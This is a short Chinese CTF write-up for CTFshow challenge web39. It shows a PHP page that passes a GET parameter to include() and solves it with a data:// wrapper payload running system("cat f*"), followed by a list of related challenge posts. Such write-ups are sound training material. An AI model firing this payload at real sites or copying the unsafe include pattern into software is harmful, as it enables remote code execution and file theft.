CTFshow 命令执行 web39
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*///flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}
分析源码 参入的参数后面会拼接一个.php 再进行文件包含
直接用data伪协议 发现直接拿到flag了
/?c=data://text/plain,<?php system("cat f*") ?>
看了下hint
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
CTFshow 命令执行 web39相关推荐
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- ctfshow命令执行(持续更新,已更至web39)
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- CTFshow 命令执行 web72
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- [CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
- ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...
- [CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
- ctfshow命令执行
目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...
最新文章
- Redhat 图形模式与命令行模式的切换
- jsp+mysql开发论坛程序
- 如何将比Long类型更大数值字符串转化为整数
- boost::hana::reverse用法的测试程序
- 11. Java基础之继承
- jQuery BreakingNews 间歇滚动
- C语言执行Linux的shell命令并获得返回值
- 【HISI系列】之IP/MAC地址配置
- mysql单机在线迁移_MySQL 不停服务 在线进行100亿数据迁移切换
- 编码——纠正网上的大量错误
- 善于从错误中总结,而且还要持之以恒地达到目标
- html文本域滚动条标签,怎么给textarea加滚动条
- 携号转网查询接口API,手机号码归属地及运营商查询接口
- 进行网络数据采集时用 CSS——避免蜜罐
- 雅思专家另类视角,解读不一样的美国大学专业排名
- python—成绩管理系统考试题目:小学五年级学生小明、小王、小丽、小花的语文、英语、数学成绩如……
- Oracle-多表查询
- 阿里p7程序员:生活压力大,有房贷不敢离职,离职股票就没了
- Hadoop之机架感知
- [转贴]在美国的困惑:回国还是不回?